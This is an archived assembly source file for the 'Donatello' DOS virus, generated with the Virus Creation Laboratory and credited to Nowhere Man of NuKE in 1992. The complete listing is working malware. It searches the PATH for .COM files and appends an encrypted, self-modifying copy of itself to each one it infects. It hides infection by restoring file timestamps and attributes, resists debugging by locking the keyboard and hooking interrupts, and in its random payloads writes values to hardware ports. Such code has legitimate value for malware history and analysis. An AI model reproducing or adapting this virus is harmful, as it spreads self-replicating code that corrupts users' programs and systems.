home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DONTELLO.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  18KB  |  418 lines

  1. ; DONTELLO.ASM -- Donatello Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42. stop_tracing:   mov     cx,09EBh
  43.         mov     ax,0FE05h               ; Acutal move, plus a HaLT
  44.         jmp     $-2
  45.         add     ah,03Bh                 ; AH now equals 025h
  46.         jmp     $-10                    ; Execute the HaLT
  47.         lea     bx,[di + null_vector]   ; BX points to new routine
  48.         push    cs                      ; Transfer CS into ES
  49.         pop     es                      ; using a PUSH/POP
  50.         int     021h
  51.         mov     al,1                    ; Disable interrupt 1, too
  52.         int     021h
  53.         jmp     short skip_null         ; Hop over the loop
  54. null_vector:    jmp     $                       ; An infinite loop
  55. skip_null:      mov     byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  56. lock_keys:      mov     al,128                  ; Change here screws DEBUG
  57.         out     021h,al                 ; If tracing then lock keyboard
  58.  
  59.         call    get_random
  60.         mov     cx,0014h                ; CX holds the divisor
  61.         cwd                             ; Sign-extend AX into DX:AX
  62.         div     cx                      ; Divide AX by CX
  63.         or      dx,dx                   ; Is the remaindier zero?
  64.         jne     skip00                  ; If not equal, skip effect
  65.         jmp     short strt00            ; Success -- skip jump
  66. skip00:         jmp     end00                   ; Skip the routine
  67. strt00:         lea     si,[di + data00]        ; SI points to data
  68.         mov     ah,0Eh                  ; BIOS display char. function
  69. display_loop:   lodsb                           ; Load the next char. into AL
  70.         or      al,al                   ; Is the character a null?
  71.         je      disp_strnend            ; If it is, exit
  72.         int     010h                    ; BIOS video interrupt
  73.         jmp     short display_loop      ; Do the next character
  74. disp_strnend:
  75.  
  76. end00:          call    get_random
  77.         mov     cx,0064h                ; CX holds the divisor
  78.         cwd                             ; Sign-extend AX into DX:AX
  79.         div     cx                      ; Divide AX by CX
  80.         or      dx,dx                   ; Is the remaindier zero?
  81.         jne     skip01                  ; If not equal, skip effect
  82.         jmp     short strt01            ; Success -- skip jump
  83. skip01:         jmp     end01                   ; Skip the routine
  84. strt01:         xor     ah,ah                   ; BIOS get time function
  85.         int     1Ah
  86.         xchg    dx,ax                   ; AX holds low word of timer
  87.         mov     dx,0FFh                 ; Start with port 255
  88. out_loop:       out     dx,al                   ; OUT a value to the port
  89.         dec     dx                      ; Do the next port
  90.         jne     out_loop                ; Repeat until DX = 0
  91.  
  92. end01:          mov     cx,0003h                ; Do 3 infections
  93. search_loop:    push    cx                      ; Save CX
  94.         call    search_files            ; Find and infect a file
  95.         pop     cx                      ; Restore CX
  96.         loop    search_loop             ; Repeat until CX is 0
  97.  
  98.         jmp     short strt02            ; Success -- skip jump
  99. skip02:         jmp     end02                   ; Skip the routine
  100. strt02:         push    es                      ; Save ES
  101.         mov     ax,050h                 ; Set the extra segement to
  102.         mov     es,ax                   ; the BIOS area
  103.         mov     byte ptr es:[0000h],1   ; Set print screen flag to
  104.         pop     es                      ; "printing," restore ES
  105.  
  106. end02:
  107. com_end:        pop     dx                      ; DX holds original DTA address
  108.         mov     ah,01Ah                 ; DOS set DTA function
  109.         int     021h
  110.  
  111.         mov     sp,bp                   ; Deallocate local buffer
  112.  
  113.         xor     ax,ax                   ;
  114.         mov     bx,ax                   ;
  115.         mov     cx,ax                   ;
  116.         mov     dx,ax                   ; Empty out the registers
  117.         mov     si,ax                   ;
  118.         mov     di,ax                   ;
  119.         mov     bp,ax                   ;
  120.  
  121.         ret                             ; Return to original program
  122. main            endp
  123.  
  124.  
  125.         db      0E2h,065h,076h,0A4h,0A6h
  126.  
  127. search_files    proc    near
  128.         mov     bx,di                   ; BX points to the virus
  129.         push    bp                      ; Save BP
  130.         mov     bp,sp                   ; BP points to local buffer
  131.         sub     sp,135                  ; Allocate 135 bytes on stack
  132.  
  133.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  134.  
  135.         mov     ah,047h                 ; DOS get current dir function
  136.         xor     dl,dl                   ; DL holds drive # (current)
  137.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  138.         int     021h
  139.  
  140.         call    traverse_path           ; Start the traversal
  141.  
  142. traversal_loop: cmp     word ptr [bx + path_ad],0       ; Was the search unsuccessful?
  143.         je      done_searching          ; If so then we're done
  144.         call    found_subdir            ; Otherwise copy the subdirectory
  145.  
  146.         mov     ax,cs                   ; AX holds the code segment
  147.         mov     ds,ax                   ; Set the data and extra
  148.         mov     es,ax                   ; segments to the code segment
  149.  
  150.         xor     al,al                   ; Zero AL
  151.         stosb                           ; NULL-terminate the directory
  152.  
  153.         mov     ah,03Bh                 ; DOS change directory function
  154.         lea     dx,[bp - 70]            ; DX points to the directory
  155.         int     021h
  156.  
  157.         lea     dx,[bx + com_mask]      ; DX points to "*.COM"
  158.         push    di
  159.         mov     di,bx
  160.         call    find_files              ; Try to infect a .COM file
  161.         mov     bx,di
  162.         pop     di
  163.         jnc     done_searching          ; If successful the exit
  164.         jmp     short traversal_loop    ; Keep checking the PATH
  165.  
  166. done_searching: mov     ah,03Bh                 ; DOS change directory function
  167.         lea     dx,[bp - 135]           ; DX points to old directory
  168.         int     021h
  169.  
  170.         cmp     word ptr [bx + path_ad],0       ; Did we run out of directories?
  171.         jne     at_least_tried          ; If not then exit
  172.         stc                             ; Set the carry flag for failure
  173. at_least_tried: mov     sp,bp                   ; Restore old stack pointer
  174.         pop     bp                      ; Restore BP
  175.         ret                             ; Return to caller
  176. com_mask        db      "*.COM",0               ; Mask for all .COM files
  177. search_files    endp
  178.  
  179. traverse_path   proc    near
  180.         mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
  181.         xor     di,di                   ; DI holds the starting offset
  182.  
  183. find_path:      lea     si,[bx + path_string]   ; SI points to "PATH="
  184.         lodsb                           ; Load the "P" into AL
  185.         mov     cx,08000h               ; Check the first 32767 bytes
  186.     repne   scasb                           ; Search until the byte is found
  187.         mov     cx,4                    ; Check the next four bytes
  188. check_next_4:   lodsb                           ; Load the next letter of "PATH="
  189.         scasb                           ; Compare it to the environment
  190.         jne     find_path               ; If there not equal try again
  191.         loop    check_next_4            ; Otherwise keep checking
  192.  
  193.         mov     word ptr [bx + path_ad],di      ; Save the PATH address
  194.         mov     word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  195.         ret                             ; Return to caller
  196.  
  197. path_string     db      "PATH="                 ; The PATH string to search for
  198. path_ad         dd      ?                       ; Holds the PATH's address
  199. traverse_path   endp
  200.  
  201. found_subdir    proc    near
  202.         lds     si,dword ptr [bx + path_ad]     ; DS:SI points to PATH
  203.         lea     di,[bp - 70]            ; DI points to the work buffer
  204.         push    cs                      ; Transfer CS into ES for
  205.         pop     es                      ; byte transfer
  206. move_subdir:    lodsb                           ; Load the next byte into AL
  207.         cmp     al,';'                  ; Have we reached a separator?
  208.         je      moved_one               ; If so we're done copying
  209.         or      al,al                   ; Are we finished with the PATH?
  210.         je      moved_last_one          ; If so get out of here
  211.         stosb                           ; Store the byte at ES:DI
  212.         jmp     short move_subdir       ; Keep transfering characters
  213.  
  214. moved_last_one: xor     si,si                   ; Zero SI to signal completion
  215. moved_one:      mov     word ptr es:[bx + path_ad],si  ; Store SI in the path address
  216.         ret                             ; Return to caller
  217. found_subdir    endp
  218.  
  219.         db      095h,001h,027h,07Eh,08Fh
  220.  
  221.  
  222. find_files      proc    near
  223.         push    bp                      ; Save BP
  224.  
  225.         mov     ah,02Fh                 ; DOS get DTA function
  226.         int     021h
  227.         push    bx                      ; Save old DTA address
  228.  
  229.         mov     bp,sp                   ; BP points to local buffer
  230.         sub     sp,128                  ; Allocate 128 bytes on stack
  231.  
  232.         push    dx                      ; Save file mask
  233.         mov     ah,01Ah                 ; DOS set DTA function
  234.         lea     dx,[bp - 128]           ; DX points to buffer
  235.         int     021h
  236.  
  237.         mov     ah,04Eh                 ; DOS find first file function
  238.         mov     cx,00100111b            ; CX holds all file attributes
  239.         pop     dx                      ; Restore file mask
  240. find_a_file:    int     021h
  241.         jc      done_finding            ; Exit if no files found
  242.         call    infect_file             ; Infect the file!
  243.         jnc     done_finding            ; Exit if no error
  244.         mov     ah,04Fh                 ; DOS find next file function
  245.         jmp     short find_a_file       ; Try finding another file
  246.  
  247. done_finding:   mov     sp,bp                   ; Restore old stack frame
  248.         mov     ah,01Ah                 ; DOS set DTA function
  249.         pop     dx                      ; Retrieve old DTA address
  250.         int     021h
  251.  
  252.         pop     bp                      ; Restore BP
  253.         ret                             ; Return to caller
  254. find_files      endp
  255.  
  256.         db      02Ch,015h,0BFh,02Dh,0F2h
  257.  
  258. infect_file     proc    near
  259.         mov     ah,02Fh                 ; DOS get DTA address function
  260.         int     021h
  261.         mov     si,bx                   ; SI points to the DTA
  262.  
  263.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  264.  
  265.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  266.         jbe     size_ok                 ; If it's small enough continue
  267.         jmp     infection_done          ; Otherwise exit
  268.  
  269. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  270.         lea     dx,[si + 01Eh]          ; DX points to file name
  271.         int     021h
  272.         xchg    bx,ax                   ; BX holds file handle
  273.  
  274.         mov     ah,03Fh                 ; DOS read from file function
  275.         mov     cx,3                    ; CX holds bytes to read (3)
  276.         lea     dx,[di + buffer]        ; DX points to buffer
  277.         int     021h
  278.  
  279.         mov     ax,04202h               ; DOS file seek function, EOF
  280.         cwd                             ; Zero DX _ Zero bytes from end
  281.         mov     cx,dx                   ; Zero CX /
  282.         int     021h
  283.  
  284.         xchg    dx,ax                   ; Faster than a PUSH AX
  285.         mov     ah,03Eh                 ; DOS close file function
  286.         int     021h
  287.         xchg    dx,ax                   ; Faster than a POP AX
  288.  
  289.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  290.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  291.         je      infection_done          ; If equal then exit
  292.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  293.         add     ax,finish - start       ; Re-adjust to make the jump
  294.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  295.  
  296.         mov     ax,04301h               ; DOS set file attrib. function
  297.         xor     cx,cx                   ; Clear all attributes
  298.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  299.         int     021h
  300.  
  301.         mov     ax,03D02h               ; DOS open file function, r/w
  302.         int     021h
  303.         xchg    bx,ax                   ; BX holds file handle
  304.  
  305.         mov     ah,040h                 ; DOS write to file function
  306.         mov     cx,3                    ; CX holds bytes to write (3)
  307.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  308.         int     021h
  309.  
  310.         mov     ax,04202h               ; DOS file seek function, EOF
  311.         cwd                             ; Zero DX _ Zero bytes from end
  312.         mov     cx,dx                   ; Zero CX /
  313.         int     021h
  314.  
  315.         push    si                      ; Save SI through call
  316.         call    encrypt_code            ; Write an encrypted copy
  317.         pop     si                      ; Restore SI
  318.  
  319.         mov     ax,05701h               ; DOS set file time function
  320.         mov     cx,[si + 016h]          ; CX holds old file time
  321.         mov     dx,[si + 018h]          ; DX holds old file date
  322.         int     021h
  323.  
  324.         mov     ah,03Eh                 ; DOS close file function
  325.         int     021h
  326.  
  327.         mov     ax,04301h               ; DOS set file attrib. function
  328.         xor     ch,ch                   ; Clear CH for file attribute
  329.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  330.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  331.         int     021h
  332.  
  333. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  334.         ret                             ; Return to caller
  335.  
  336. set_carry       db      ?                       ; Set-carry-on-exit flag
  337. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  338. new_jump        db      0E9h,?,?                ; New jump to virus
  339. infect_file     endp
  340.  
  341.  
  342.         db      0C4h,003h,038h,043h,07Fh
  343.  
  344. get_random      proc    near
  345.         xor     ah,ah                   ; BIOS get clock count function
  346.         int     01Ah
  347.         xchg    dx,ax                   ; Transfer the count into AX
  348.         ret                             ; Return to caller
  349. get_random      endp
  350.  
  351. data00          db      "Cowabunga, dudes!  It's Donatello!",13,10
  352.         db      "(Hey, John, can I be on Nightline too?)",13,10,0
  353.  
  354. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  355.  
  356.  
  357. note            db      "[Donatello]",0
  358.         db      "Nowhere Man, [NuKE] '92",0
  359.         db      "Hey, Donatello, be like Mike!",0
  360.  
  361. encrypt_code    proc    near
  362.         push    bp                      ; Save BP
  363.         mov     bp,di                   ; Use BP as pointer to code
  364.         lea     si,[bp + encrypt_decrypt]; SI points to cipher routine
  365.  
  366.         xor     ah,ah                   ; BIOS get time function
  367.         int     01Ah
  368.         mov     word ptr [si + 9],dx    ; Low word of timer is new key
  369.  
  370.         xor     byte ptr [si + 1],8     ;
  371.         xor     byte ptr [si + 8],1     ; Change all SIs to DIs
  372.         xor     word ptr [si + 11],0101h; (and vice-versa)
  373.  
  374.         lea     di,[bp + finish]        ; Copy routine into heap
  375.         mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
  376.         push    si                      ; Save SI for later
  377.         push    cx                      ; Save CX for later
  378.     rep     movsb                           ; Copy the bytes
  379.  
  380.         lea     si,[bp + write_stuff]   ; SI points to write stuff
  381.         mov     cx,5                    ; CX holds length of write
  382.     rep     movsb                           ; Copy the bytes
  383.  
  384.         pop     cx                      ; Restore CX
  385.         pop     si                      ; Restore SI
  386.         inc     cx                      ; Copy the RET also this time
  387.     rep     movsb                           ; Copy the routine again
  388.  
  389.         mov     ah,040h                 ; DOS write to file function
  390.         lea     dx,[bp + start]         ; DX points to virus
  391.  
  392.         lea     si,[bp + finish]        ; SI points to routine
  393.         call    si                      ; Encrypt/write/decrypt
  394.  
  395.         mov     di,bp                   ; DI points to virus again
  396.         pop     bp                      ; Restore BP
  397.         ret                             ; Return to caller
  398.  
  399. write_stuff:    mov     cx,finish - start       ; Length of code
  400.         int     021h
  401. encrypt_code    endp
  402.  
  403. end_of_code     label   near
  404.  
  405. encrypt_decrypt proc    near
  406.         lea     si,[bp + start_of_code] ; SI points to code to decrypt
  407.         mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
  408. xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
  409.         inc     si                      ; Do the next word
  410.         inc     si                      ;
  411.         loop    xor_loop                ; Loop until we're through
  412.         ret                             ; Return to caller
  413. encrypt_decrypt endp
  414. finish          label   near
  415.  
  416. code            ends
  417.         end     main
  418.